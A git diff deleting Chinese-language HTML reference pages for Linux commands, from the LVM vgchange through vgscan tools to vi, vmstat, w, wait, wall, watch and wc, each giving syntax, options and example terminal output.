vgchange命令 用于修改卷组的属性,经常被用来设置卷组是处于活动状态或非活动状态。处于活动状态的卷组无法被删除,必须使用vgchange命令将卷组设置为非活动状态后才能删除。

-

语法

-
vgchange(选项)(参数)
-
-

选项

-
-a:设置卷组的活动状态。
-
-

参数

-

卷组:指定要设置属性的卷组。

-

实例

-

使用vgchange命令将卷组状态改为活动的。在命令行中输入下面的命令:

-
[root@localhost ~]# vgchange -ay vg1000     #将卷组"vg1000"设置为活动状态
-
-

输出信息如下:

-
1 logical volume(s) in volume group "vg1000" now active
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgconvert.html b/linux-command.docset/Contents/Resources/Documents/c/vgconvert.html deleted file mode 100644 index e2a19e6223..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgconvert.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - vgconvert 命令,Linux vgconvert 命令详解:转换卷组元数据格式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgconvert

-

转换卷组元数据格式

-

补充说明

-

vgconvert命令 用于转换指定LVM卷组的元数据格式,通常将“LVM1”格式的卷组转换为“LVM2”格式。转换卷组元数据前必须保证卷组处于非活动状态,否则无法完成转换操作。

-

语法

-
vgconvert(选项)(参数)
-
-

选项

-
-M:要转换的卷组格式。
-
-

参数

-

卷组:指定要转换格式的卷组。

-

实例

-

转换卷组元数据格式前,使用vgchange命令将卷组设置为非活动状态。在命令行中输入下面的命令:

-
[root@localhost lvm]# vgchange -an vg1000    #设置卷组状态为非活动状态
-0 logical volume(s) in volume group "vg1000" now active 
-
-```shell
-
-使用vgconvert命令将卷组"vg1000""LVM1"格式转换为"LVM2"格式。在命令行中输入下面的命令:
-
-```shell
-[root@localhost lvm]# vgconvert -M2 vg1000    #转换卷组为"LVM2"格式
-Volume group vg1000 successfully converted
-
-

使用vgchange命令将卷组设置为活动状态。在命令行中输入下面的命令:

-
[root@localhost lvm]# vgchange -ay vg1000     #设置卷组状态为活动状态
-0 logical volume(s) in volume group "vg1000" now active
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgcreate.html b/linux-command.docset/Contents/Resources/Documents/c/vgcreate.html deleted file mode 100644 index 5a6a6cb343..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgcreate.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - vgcreate 命令,Linux vgcreate 命令详解:用于创建LVM卷组 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgcreate

-

用于创建LVM卷组

-

补充说明

-

vgcreate命令 用于创建LVM卷组。卷组(Volume Group)将多个物理卷组织成一个整体,屏蔽了底层物理卷细节。在卷组上创建逻辑卷时不用考虑具体的物理卷信息。

-

语法

-
vgcreate(选项)(参数)
-
-

选项

-
-l:卷组上允许创建的最大逻辑卷数;
--p:卷组中允许添加的最大物理卷数;
--s:卷组上的物理卷的PE大小。
-
-

参数

-
    -
  • 卷组名:要创建的卷组名称;
  • -
  • 物理卷列表:要加入到卷组中的物理卷列表。
  • -
-

实例

-

使用vgcreate命令创建卷组 "vg1000",并且将物理卷/dev/sdb1/dev/sdb2添加到卷组中。在命令行中输入下面的命令:

-
[root@localhost ~]# vgcreate vg1000 /dev/sdb1 /dev/sdb2  #创建卷组"vg1000"
-
-

输出信息如下:

-
Volume group "vg1000" successfully created
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgdisplay.html b/linux-command.docset/Contents/Resources/Documents/c/vgdisplay.html deleted file mode 100644 index dc62603dba..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgdisplay.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - vgdisplay 命令,Linux vgdisplay 命令详解:显示LVM卷组的信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgdisplay

-

显示LVM卷组的信息

-

补充说明

-

vgdisplay命令 用于显示LVM卷组的信息。如果不指定"卷组"参数,则分别显示所有卷组的属性。

-

语法

-
vgdisplay(选项)(参数)
-
-

选项

-
-A:仅显示活动卷组的属性;
--s:使用短格式输出的信息。
-
-

参数

-

卷组:要显示属性的卷组名称。

-

实例

-

使用vgdisplay命令显示存在的卷组"vg1000"的属性。在命令行中输入下面的命令:

-
[root@localhost ~]# vgdisplay vg1000     #显示卷组"vg1000"的属性
-
-

输出信息如下:

-
  --- Volume group ---  
-  VG Name               vg1000  
-......省略部分输出内容......  
-  free  PE / Size       50 / 200.00 MB  
-  VG UUID  ICprwg-ZmhA-JKYF-WYuy-jNHa-AyCN-ZS5F7B
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgextend.html b/linux-command.docset/Contents/Resources/Documents/c/vgextend.html deleted file mode 100644 index 4ca0a95b65..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgextend.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - vgextend 命令,Linux vgextend 命令详解:向卷组中添加物理卷 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgextend

-

向卷组中添加物理卷

-

补充说明

-

vgextend命令 用于动态扩展LVM卷组,它通过向卷组中添加物理卷来增加卷组的容量。LVM卷组中的物理卷可以在使用vgcreate命令创建卷组时添加,也可以使用vgextend命令动态的添加。

-

语法

-
vgextend(选项)(参数)
-
-

选项

-
-d:调试模式;
--t:仅测试。
-
-

参数

-
    -
  • 卷组:指定要操作的卷组名称;
  • -
  • 物理卷列表:指定要添加到卷组中的物理卷列表。
  • -
-

实例

-

使用vgextend命令向卷组"vg2000"中添加物理卷。在命令行中输入下面的命令:

-
[root@localhost ~]# vgextend vg2000 /dev/sdb2     #将物理卷"/dev/sdb2"加入卷组"vg2000"
-
-

输出信息如下:

-
Volume group "vg2000" successfully extended
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgreduce.html b/linux-command.docset/Contents/Resources/Documents/c/vgreduce.html deleted file mode 100644 index 3c6aa19f01..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgreduce.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - vgreduce 命令,Linux vgreduce 命令详解:从卷组中删除物理卷 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgreduce

-

从卷组中删除物理卷

-

补充说明

-

vgreduce命令 通过删除LVM卷组中的物理卷来减少卷组容量。不能删除LVM卷组中剩余的最后一个物理卷。

-

语法

-
vgreduce(选项)(参数)
-
-

选项

-
-a:如果命令行中没有指定要删除的物理卷,则删除所有的空物理卷;
---removemissing:删除卷组中丢失的物理卷,使卷组恢复正常状态。
-
-

参数

-
    -
  • 卷组:指定要操作的卷组名称;
  • -
  • 物理卷列表:指定要删除的物理卷列表。
  • -
-

实例

-

使用vgreduce命令从卷组"vg2000"中移除物理卷/dev/sdb2。在命令行中输入下面的命令:

-
[root@localhost ~]# vgreduce vg2000 /dev/sdb2    #将物理卷"/dev/sdb2"从卷组"vg2000"中删除
-
-

输出信息如下:

-
Removed "/dev/sdb2" from volume group "vg2000"
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgremove.html b/linux-command.docset/Contents/Resources/Documents/c/vgremove.html deleted file mode 100644 index 041e201f61..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgremove.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - vgremove 命令,Linux vgremove 命令详解:用于用户删除LVM卷组 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgremove

-

用于用户删除LVM卷组

-

补充说明

-

vgremove命令 用于用户删除LVM卷组。当要删除的卷组上已经创建了逻辑卷时,vgremove命令需要进行确认删除,防止误删除数据。

-

语法

-
vgremove(选项)(参数)
-
-

选项

-
-f:强制删除。
-
-

参数

-

卷组:指定要删除的卷组名称。

-

实例

-

使用vgremove命令删除LVM卷组"vg1000"。在命令行中输入下面的命令:

-
[root@localhost ~]# vgremove vg1000    #删除卷组"vg1000"
-Volume group "vg1000" successfully removed
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgrename.html b/linux-command.docset/Contents/Resources/Documents/c/vgrename.html deleted file mode 100644 index 3605930f91..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgrename.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - vgrename 命令,Linux vgrename 命令详解:使用vgrename命令可以重命名卷组的名称 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgrename

-

使用vgrename命令可以重命名卷组的名称

-

补充说明

-

grename命令 可以重命名卷组的名称。

-

语法

-
vgrename [选项] [旧卷组路径|旧卷组名称|旧卷组UUID] [新卷组路径|新卷组名称]
-
-

选项

-
-d 启用调试模式
--t 启用测试模式
-
-

例子

-

重命名卷组/dev/vg1为/dev/vg2。

-
[root@localhost ~]# vgrename /dev/vg1 /dev/vg2
-  Volume group "vg1" successfullyrenamed to "vg2"
-
-

重命名卷组vg1为vg2。

-
[root@localhost ~]# vgrename vg1 vg2
-  Volume group "vg1" successfully renamed to "vg2"
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgscan.html b/linux-command.docset/Contents/Resources/Documents/c/vgscan.html deleted file mode 100644 index 016c757e38..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgscan.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - vgscan 命令,Linux vgscan 命令详解:扫描并显示系统中的卷组 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgscan

-

扫描并显示系统中的卷组

-

补充说明

-

vgscan命令 查找系统中存在的LVM卷组,并显示找到的卷组列表。vgscan命令仅显示找到的卷组的名称和LVM元数据类型,要得到卷组的详细信息需要使用vgdisplay命令。

-

语法

-
vgscan(选项)
-
-

选项

-
-d:调试模式;
---ignorerlockingfailure:忽略锁定失败的错误。
-
-

实例

-

使用vgscan命令扫描系统中所有的卷组。在命令行中输入下面的命令:

-
[root@localhost ~]# vgscan     #扫描并显示LVM卷组列表
-
-

输出信息如下:

-
Found volume group "vg2000" using metadata type lvm2  
-Found volume group "vg1000" using metadata type lvm2 
-
-

说明:本例中,vgscan指令找到了两个LVM2卷组"vg1000"和"vg2000"。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vi.html b/linux-command.docset/Contents/Resources/Documents/c/vi.html deleted file mode 100644 index d7aed4a584..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vi.html +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - vi 命令,Linux vi 命令详解:功能强大的纯文本编辑器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vi

-

功能强大的纯文本编辑器

-

补充说明

-

vi命令 是UNIX操作系统和类UNIX操作系统中最通用的全屏幕纯文本编辑器。Linux中的vi编辑器叫vim,它是vi的增强版(vi Improved),与vi编辑器完全兼容,而且实现了很多增强功能。

-

vi编辑器支持编辑模式和命令模式,编辑模式下可以完成文本的编辑功能,命令模式下可以完成对文件的操作命令,要正确使用vi编辑器就必须熟练掌握着两种模式的切换。默认情况下,打开vi编辑器后自动进入命令模式。从编辑模式切换到命令模式使用“esc”键,从命令模式切换到编辑模式使用“A”、“a”、“O”、“o”、“I”、“i”键。

-

vi编辑器提供了丰富的内置命令,有些内置命令使用键盘组合键即可完成,有些内置命令则需要以冒号“:”开头输入。常用内置命令如下:

-
Ctrl+u:向文件首翻半屏;
-Ctrl+d:向文件尾翻半屏;
-Ctrl+f:向文件尾翻一屏;
-Ctrl+b:向文件首翻一屏;
-Esc:从编辑模式切换到命令模式;
-ZZ:命令模式下保存当前文件所做的修改后退出vi;
-:行号:光标跳转到指定行的行首;
-:$:光标跳转到最后一行的行首;
-x或X:删除一个字符,x删除光标后的,而X删除光标前的;
-D:删除从当前光标到光标所在行尾的全部字符;
-dd:删除光标行正行内容;
-ndd:删除当前行及其后n-1行;
-nyy:将当前行及其下n行的内容保存到寄存器?中,其中?为一个字母,n为一个数字;
-p:粘贴文本操作,用于将缓存区的内容粘贴到当前光标所在位置的下方;
-P:粘贴文本操作,用于将缓存区的内容粘贴到当前光标所在位置的上方;
-/字符串:文本查找操作,用于从当前光标所在位置开始向文件尾部查找指定字符串的内容,查找的字符串会被加亮显示;
-?字符串:文本查找操作,用于从当前光标所在位置开始向文件头部查找指定字符串的内容,查找的字符串会被加亮显示;
-a,bs/F/T:替换文本操作,用于在第a行到第b行之间,将F字符串换成T字符串。其中,“s/”表示进行替换操作;
-a:在当前字符后添加文本;
-A:在行末添加文本;
-i:在当前字符前插入文本;
-I:在行首插入文本;
-o:在当前行后面插入一空行;
-O:在当前行前面插入一空行;
-:wq:在命令模式下,执行存盘退出操作;
-:w:在命令模式下,执行存盘操作;
-:w!:在命令模式下,执行强制存盘操作;
-:q:在命令模式下,执行退出vi操作;
-:q!:在命令模式下,执行强制退出vi操作;
-:e文件名:在命令模式下,打开并编辑指定名称的文件;
-:n:在命令模式下,如果同时打开多个文件,则继续编辑下一个文件;
-:f:在命令模式下,用于显示当前的文件名、光标所在行的行号以及显示比例;
-:set number:在命令模式下,用于在最左端显示行号;
-:set nonumber:在命令模式下,用于在最左端不显示行号;
-
-

语法

-
vi(选项)(参数)
-
-

选项

-
+<行号>:从指定行号的行开始显示文本内容;
--b:以二进制模式打开文件,用于编辑二进制文件和可执行文件;
--c<指令>:在完成对第一个文件编辑任务后,执行给出的指令;
--d:以diff模式打开文件,当多个文件编辑时,显示文件差异部分;
--l:使用lisp模式,打开“lisp”和“showmatch”;
--m:取消写文件功能,重设“write”选项;
--M:关闭修改功能;
--n:不实用缓存功能;
--o<文件数目>:指定同时打开指定数目的文件;
--R:以只读方式打开文件;
--s:安静模式,不现实指令的任何错误信息。
-
-

参数

-

文件列表:指定要编辑的文件列表。多个文件之间使用空格分隔开。

-

知识扩展

-

vi编辑器有三种工作方式:命令方式、输入方式和ex转义方式。通过相应的命令或操作,在这三种工作方式之间可以进行转换。

-

命令方式

-

在Shell提示符后输入命令vi,进入vi编辑器,并处于vi的命令方式。此时,从键盘上输入的任何字符都被作为编辑命令来解释,例如,a(append)表示附加命令,i(insert)表示插入命令,x表示删除字符命令等。如果输入的字符不是vi的合法命令,则机器发出“报警声”,光标不移动。另外,在命令方式下输入的字符(即vi命令)并不在屏幕上显示出来,例如,输入i,屏幕上并无变化,但通过执行i命令,编辑器的工作方式却发生变化:由命令方式变为输入方式。

-

输入方式

-

通过输入vi的插入命令(i)、附加命令(a)、打开命令(o)、替换命令(s)、修改命令(c)或取代命令(r)可以从命令方式进入输入方式。在输入方式下,从键盘上输入的所有字符都被插入到正在编辑的缓冲区中,被当做该文件的正文。进入输入方式后,输入的可见字符都在屏幕上显示出来,而编辑命令不再起作用,仅作为普通字母出现。例如,在命令方式下输入字母i,进到输入方式,然后再输入i,就在屏幕上相应光标处添加一个字母i。

-

由输入方式回到命令方式的办法是按下Esc键。如果已在命令方式下,那么按下Esc键就会发出“嘟嘟”声。为了确保用户想执行的vi命令是在命令方式下输入的,不妨多按几下Esc键,听到嘟声后再输入命令。

-

ex转义方式

-

vi和ex编辑器的功能是相同的,二者的主要区别是用户界面。在vi中,命令通常是单个字母,如a,x,r等。而在ex中,命令是以Enter;键结束的命令行。vi有一个专门的“转义”命令,可访问很多面向行的ex命令。为使用ex转义方式,可输入一个冒号(:)。作为ex命令提示符,冒号出现在状态行(通常在屏幕最下一行)。按下中断键(通常是Del键),可终止正在执行的命令。多数文件管理命令都是在ex转义方式下执行的(例如,读取文件,把编辑缓冲区的内容写到文件中等)。转义命令执行后,自动回到命令方式。例如:

-
:1,$s/I/i/g 按Enter键
-
-

则从文件第一行至文件末尾($)将大写I全部替换成小写i。vi编辑器的三种工作方式之间的转换如图所示。

-

!vi

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vmstat.html b/linux-command.docset/Contents/Resources/Documents/c/vmstat.html deleted file mode 100644 index a9f8e56602..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vmstat.html +++ /dev/null @@ -1,148 +0,0 @@ - - - - - - - - - - - vmstat 命令,Linux vmstat 命令详解:显示虚拟内存状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vmstat

-

显示虚拟内存状态

-

补充说明

-

vmstat命令 的含义为显示虚拟内存状态(“Viryual Memor Statics”),但是它可以报告关于进程、内存、I/O等系统整体运行状态。

-

语法

-
vmstat(选项)(参数)
-
-

选项

-
-a:显示活动内页;
--f:显示启动后创建的进程总数;
--m:显示slab信息;
--n:头信息仅显示一次;
--s:以表格方式显示事件计数器和内存状态;
--d:报告磁盘状态;
--p:显示指定的硬盘分区状态;
--S:输出信息的单位。
-
-

参数

-
    -
  • 事件间隔:状态信息刷新的时间间隔;
  • -
  • 次数:显示报告的次数。
  • -
-

实例

-
vmstat 3
-procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
- r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
- 0  0    320  42188 167332 1534368    0    0     4     7    1    0  0  0 99  0  0
- 0  0    320  42188 167332 1534392    0    0     0     0 1002   39  0  0 100  0  0
- 0  0    320  42188 167336 1534392    0    0     0    19 1002   44  0  0 100  0  0
- 0  0    320  42188 167336 1534392    0    0     0     0 1002   41  0  0 100  0  0
- 0  0    320  42188 167336 1534392    0    0     0     0 1002   41  0  0 100  0  0
-
-

字段说明:

-

Procs(进程)

-
    -
  • r: 运行队列中进程数量,这个值也可以判断是否需要增加CPU。(长期大于1)
  • -
  • b: 等待IO的进程数量。
  • -
-

Memory(内存)

-
    -
  • swpd: 使用虚拟内存大小,如果swpd的值不为0,但是SI,SO的值长期为0,这种情况不会影响系统性能。
  • -
  • free: 空闲物理内存大小。
  • -
  • buff: 用作缓冲的内存大小。
  • -
  • cache: 用作缓存的内存大小,如果cache的值大的时候,说明cache处的文件数多,如果频繁访问到的文件都能被cache处,那么磁盘的读IO bi会非常小。
  • -
-

Swap

-
    -
  • si: 每秒从交换区写到内存的大小,由磁盘调入内存。
  • -
  • so: 每秒写入交换区的内存大小,由内存调入磁盘。
  • -
-

注意:内存够用的时候,这2个值都是0,如果这2个值长期大于0时,系统性能会受到影响,磁盘IO和CPU资源都会被消耗。有些朋友看到空闲内存(free)很少的或接近于0时,就认为内存不够用了,不能光看这一点,还要结合si和so,如果free很少,但是si和so也很少(大多时候是0),那么不用担心,系统性能这时不会受到影响的。

-

IO(现在的Linux版本块的大小为1kb)

-
    -
  • bi: 每秒读取的块数
  • -
  • bo: 每秒写入的块数
  • -
-

注意:随机磁盘读写的时候,这2个值越大(如超出1024k),能看到CPU在IO等待的值也会越大。

-

system(系统)

-
    -
  • in: 每秒中断数,包括时钟中断。
  • -
  • cs: 每秒上下文切换数。
  • -
-

注意:上面2个值越大,会看到由内核消耗的CPU时间会越大。

-

CPU(以百分比表示)

-
    -
  • us: 用户进程执行时间百分比(user time)
  • -
-

us的值比较高时,说明用户进程消耗的CPU时间多,但是如果长期超50%的使用,那么我们就该考虑优化程序算法或者进行加速。

-
    -
  • sy: 内核系统进程执行时间百分比(system time)
  • -
-

sy的值高时,说明系统内核消耗的CPU资源多,这并不是良性表现,我们应该检查原因。

-
    -
  • wa: IO等待时间百分比
  • -
-

wa的值高时,说明IO等待比较严重,这可能由于磁盘大量作随机访问造成,也有可能磁盘出现瓶颈(块操作)。

-
    -
  • id: 空闲时间百分比
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/volname.html b/linux-command.docset/Contents/Resources/Documents/c/volname.html deleted file mode 100644 index f965c545e9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/volname.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - volname 命令,Linux volname 命令详解:显示指定的ISO-9660格式的设备的卷名称 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

volname

-

显示指定的ISO-9660格式的设备的卷名称

-

补充说明

-

volname命令 用于显示指定的“ISO-9660”格式的设备的卷名称,通常这种格式的设备为光驱。

-

语法

-
volname(参数)
-
-

参数

-

设备文件名:指定要显示卷名称的设备。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/w.html b/linux-command.docset/Contents/Resources/Documents/c/w.html deleted file mode 100644 index d50e9f86a5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/w.html +++ /dev/null @@ -1,95 +0,0 @@ - - - - - - - - - - - w 命令,Linux w 命令详解:显示目前登入系统的用户信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

w

-

显示目前登入系统的用户信息

-

补充说明

-

w命令 用于显示已经登陆系统的用户列表,并显示用户正在执行的指令。执行这个命令可得知目前登入系统的用户有那些人,以及他们正在执行的程序。单独执行w命令会显示所有的用户,您也可指定用户名称,仅显示某位用户的相关信息。

-

语法

-
w(选项)(参数)
-
-

选项

-
 -h, --no-header     不打印头信息;
- -u, --no-current    当显示当前进程和cpu时间时忽略用户名;
- -s, --short         使用短输出格式;
- -f, --from          显示用户从哪登录;
- -o, --old-style     老式输出
- -i, --ip-addr       显示IP地址而不是主机名(如果可能)
-
-     --help     显示此帮助并退出
- -V, --version  显示版本信息。
-
-

参数

-

用户:仅显示指定用户。

-

实例

-
w
- 20:39:37 up 136 days,  3:58,  1 user,  load average: 0.00, 0.00, 0.00
-USER     TTY      FROM              login@   IDLE   JCPU   PCPU WHAT
-root     pts/0    222.94.97.122    20:39    1.00s  0.00s  0.00s w
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/wait.html b/linux-command.docset/Contents/Resources/Documents/c/wait.html deleted file mode 100644 index f1cf99465c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/wait.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - wait 命令,Linux wait 命令详解:等待进程执行完后返回 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

wait

-

等待进程执行完后返回

-

补充说明

-

wait命令 用来等待指令的指令,直到其执行完毕后返回终端。该指令常用于shell脚本编程中,待指定的指令执行完成后,才会继续执行后面的任务。该指令等待作业时,在作业标识号前必须添加备份号"%"。

-

语法

-
wait(参数)
-
-

参数

-

进程或作业标示:指定进程号或者作业号。

-

实例

-

使用命令wait等待作业号为1的作业完成后再返回,输入如下命令:

-
wait %1       #等待作业号为3的作业完成 
-
-

执行上面的指令后,将输出指定作业号的指令,如下所示:

-
find / -name password
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/wall.html b/linux-command.docset/Contents/Resources/Documents/c/wall.html deleted file mode 100644 index 7517976db3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/wall.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - wall 命令,Linux wall 命令详解:向系统当前所有打开的终端上输出信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

wall

-

向系统当前所有打开的终端上输出信息

-

补充说明

-

wall命令 用于向系统当前所有打开的终端上输出信息。通过wall命令可将信息发送给每位同意接收公众信息的终端机用户,若不给予其信息内容,则wall命令会从标准输入设备读取数据,然后再把所得到的数据传送给所有终端机用户。

-

语法

-
wall(参数)
-
-

参数

-

消息:指定广播消息。

-

实例

-
[root@localhost ~]# wall this is a test line
-
-Broadcast message from root (pts/1) (Fri Dec 20 11:36:51 2013):
-
-this is a test line
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/watch.html b/linux-command.docset/Contents/Resources/Documents/c/watch.html deleted file mode 100644 index 760aaaeebf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/watch.html +++ /dev/null @@ -1,99 +0,0 @@ - - - - - - - - - - - watch 命令,Linux watch 命令详解:可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

watch

-

可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令

-

补充说明

-

watch命令 以周期性的方式执行给定的指令,指令输出以全屏方式显示。watch是一个非常实用的命令,基本所有的Linux发行版都带有这个小工具,如同名字一样,watch可以帮你监测一个命令的运行结果,省得你一遍遍的手动运行。

-

语法

-
watch(选项)(参数)
-
-

选项

-
-n # 或--interval  watch缺省每2秒运行一下程序,可以用-n或-interval来指定间隔的时间。
--d # 或--differences  用-d或--differences 选项watch 会高亮显示变化的区域。 而-d=cumulative选项会把变动过的地方(不管最近的那次有没有变动)都高亮显示出来。
--t # 或-no-title  会关闭watch命令在顶部的时间间隔,命令,当前时间的输出。
--h, --help # 查看帮助文档
-
-

参数

-

指令:需要周期性执行的指令。

-

实例

-
watch -n 1 -d netstat -ant       # 命令:每隔一秒高亮显示网络链接数的变化情况
-watch -n 1 -d 'pstree|grep http' # 每隔一秒高亮显示http链接数的变化情况。 后面接的命令若带有管道符,需要加''将命令区域归整。
-watch 'netstat -an | grep:21 | \ grep<模拟攻击客户机的IP>| wc -l' # 实时查看模拟攻击客户机建立起来的连接数
-watch -d 'ls -l|grep scf'       # 监测当前目录中 scf' 的文件的变化
-watch -n 10 'cat /proc/loadavg' # 10秒一次输出系统的平均负载
-watch uptime
-watch -t uptime
-watch -d -n 1 netstat -ntlp
-watch -d 'ls -l | fgrep goface'     # 监测goface的文件
-watch -t -differences=cumulative uptime
-watch -n 60 from            # 监控mail
-watch -n 1 "df -i;df"       # 监测磁盘inode和block数目变化情况
-
-

FreeBSD和Linux下watch命令的不同,在Linux下,watch是周期性的执行下个程序,并全屏显示执行结果,如:watch -n 1 -d netstat -ant,而在FreeBSD下的watch命令是查看其它用户的正在运行的操作,watch允许你偷看其它terminal正在做什么,该命令只能让超级用户使用。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/wc.html b/linux-command.docset/Contents/Resources/Documents/c/wc.html deleted file mode 100644 index 353e139b6a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/wc.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - wc 命令,Linux wc 命令详解:统计文件的字节数、字数、行数 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

wc

-

统计文件的字节数、字数、行数

-

补充说明

-

wc命令 统计指定文件中的字节数、字数、行数,并将统计结果显示输出。利用wc指令我们可以计算文件的Byte数、字数或是列数,若不指定文件名称,或是所给予的文件名为“-”,则wc指令会从标准输入设备读取数据。wc同时也给出所指定文件的总统计数。

-

语法

-
wc(选项)(参数)
-wc [选项]... [文件]...
-wc [选项]... --files0-from=F
-
-

选项

-
-c # 统计字节数,或--bytes或——chars:只显示Bytes数;。
--l # 统计行数,或——lines:只显示列数;。
--m # 统计字符数。这个标志不能与 -c 标志一起使用。
--w # 统计字数,或——words:只显示字数。一个字被定义为由空白、跳格或换行字符分隔的字符串。
--L # 打印最长行的长度。
--help     # 显示帮助信息
---version # 显示版本信息
-
-

参数

-

文件:需要统计的文件列表。

-

例子

-
wc -l *       # 统计当前目录下的所有文件行数及总计行数。
-wc -l *.js    # 统计当前目录下的所有 .js 后缀的文件行数及总计行数。
-find  . * | xargs wc -l # 当前目录以及子目录的所有文件行数及总计行数。
-
-

查看文件的字节数、字数、行数

-
wc test.txt
-# 输出结果
-7     8     70     test.txt
-# 行数 单词数 字节数 文件名
-
-

用wc命令怎么做到只打印统计数字不打印文件名

-
wc -l < test.txt
-# 输出结果
-7
-
-

用来统计当前目录下的文件数(不包含隐藏文件)

-
# 要去除TOTAL行
-expr $(ls -l | wc -l) - 1
-# 输出结果
-8
-
-

统计当前目录下的所有文件行数及总计行数

-
[root@centos7 ~]# wc -l *
-      21 LICENSE
-     270 README.md
-wc: example: read: Is a directory
-     785 lerna-debug.log
-      25 lerna.json
-wc: node_modules: read: Is a directory
-   23603 package-lock.json
-      79 package.json
-       3 renovate.json
-   24786 total
-
- -
